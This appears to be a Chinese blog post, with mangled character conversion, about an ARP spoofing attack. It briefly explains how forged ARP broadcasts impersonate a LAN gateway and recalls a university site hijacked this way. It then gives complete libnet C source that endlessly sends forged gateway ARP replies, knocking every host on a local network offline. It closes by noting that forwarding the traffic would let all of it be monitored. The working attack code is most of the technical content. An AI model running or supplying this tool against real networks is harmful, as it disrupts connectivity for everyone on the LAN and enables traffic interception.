閒來無事,用libnet寫了個簡單的ARP攻擊。之前感受ARP攻擊不是特別常見,不過最近工做中卻是遇到過兩次ARP欺騙的事件。其實ARP欺騙的原理灰常簡單滴,大部分都是在局域網中發送僞造的ARP廣播包, 廣播包的目的是幹嗎呢?很簡單,欺騙內網的全部主機,告訴受害主機,「我」是網關。 內網機器接收到這種廣播包以後,會刷新本身ARP緩存表,把網關的IP和廣播包中的源MAC綁定。這樣攻擊機器就達到了冒充網關的目的。 瀏覽器
上次一所大學就是被ARP欺騙攻擊,他們的學校主頁一打開就會跳出其餘不少亂七八糟的頁面,,,,當時查看他們WEB服務器的源代碼,發現沒有被插入這些<iframe>會彈頁面的代碼,可是用瀏覽器外網訪問的時候,這些代碼就出現了,很明顯網站的返回的客戶端數據在途中被劫持修改了(插入了一些代碼)。
緩存
下面實現的就比較簡單了,只作欺騙,不作轉發,致使的後果就是局域網全部主機會斷網。測試了一下,內網主機會沒法上網,安了360ARP防禦的會報警,能上網,就是網速有點慢,可是識別出了的攻擊主機好像不許確,試了幾回都識別成正常的電腦在攻擊,不知道360這個識別是否是經過源MAC地址識別仍是怎麼識別。 服務器
#include "arp.h" int main(int argc,char **argv){ libnet_t *l; int i,packet_size; //發送的數據包的長度 libnet_ptag_t arp_tag,ether_tag; char *device="eth0"; char err_buf[LIBNET_ERRBUF_SIZE]; char *destion_ip_str = "255.255.255.255"; char *source_ip_str = "192.168.1.1"; u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84}; u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff}; u_int32_t source_ip,destion_ip; //將字符形式ip轉換爲網絡字節序 source_ip = libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE); destion_ip = libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE); //初始化libnet句柄 l = libnet_init(LIBNET_LINK,device,err_buf); if(l == NULL){ printf("初始化libnet句柄失敗:%s\n",err_buf); exit(-1); } arp_tag = libnet_build_arp( ARPHRD_ETHER, //硬件地址類型,此處爲以太網類型 ETHERTYPE_IP, //協議地址類型 6, 4, ARPOP_REPLY, //ARP應答 source_hardware, (u_int8_t *)&source_ip, destion_hardware, (u_int8_t *)&destion_ip, NULL, //無負載 0, //負載長度爲0 l, 0 //協議塊標記,爲0,表示新建協議塊 ); ether_tag = libnet_build_ethernet( (u_int8_t *)&destion_hardware, (u_int8_t *)&source_hardware, ETHERTYPE_ARP, NULL, 0, l, 0 ); i = 0; while(1){ packet_size = libnet_write(l); //發送構造的ARP數據包 usleep(10); i++; } printf("數據包長度爲:%d\n",packet_size); libnet_destroy(l); return 0; }
若是不想弄斷網,只進行欺騙的話,數據發送過來以後,要進行轉發到正確的網關,這樣就保證內網網絡正常,並且全部數據都被監聽了(人太懶,不想寫)~~~ 網絡